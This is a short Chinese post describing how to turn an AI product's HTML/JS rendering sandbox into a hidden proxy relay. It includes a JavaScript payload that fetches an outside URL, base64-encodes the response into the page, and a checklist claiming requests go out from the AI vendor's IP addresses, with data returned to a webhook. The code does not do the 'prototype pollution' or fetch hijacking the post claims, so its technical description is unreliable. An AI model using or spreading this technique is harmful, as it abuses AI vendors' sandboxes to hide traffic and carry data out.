基于 AI HTML 渲染原型污染的隐形代理思路

通过劫持全局fetch/XMLHttpRequest函数，让沙箱环境任意发送跨域 HTTP 请求。

简化版 Payload 验证完整的代理链路
——————————————————
HTML：
async function proxyTest(){
// 测试访问公网HTTPBin
let res = await fetch("https://httpbin.org/headers");
let data = await res.text();

// 将结果回传
let div = document.createElement('div');
div.id = 'proxy-result';
div.textContent = btoa(data);
document.body.appendChild(div);
}
proxyTest();

——————————————————

渲染后，解码返回的 Base64 内容

可控 HTML+JS 注入 ✅
沙箱完整执行 JS、劫持全局请求 ✅
以AI 厂商官方 IP对外发起公网请求 ✅
可拿到目标接口完整响应 ✅
可回传数据到 Webhook / 嵌入 HTML 带回控制端 ✅

AI HTML 渲染信任用户输入、无强隔离、原型污染劫持 JS 环境 → 替我们任意发请求 → 代理中继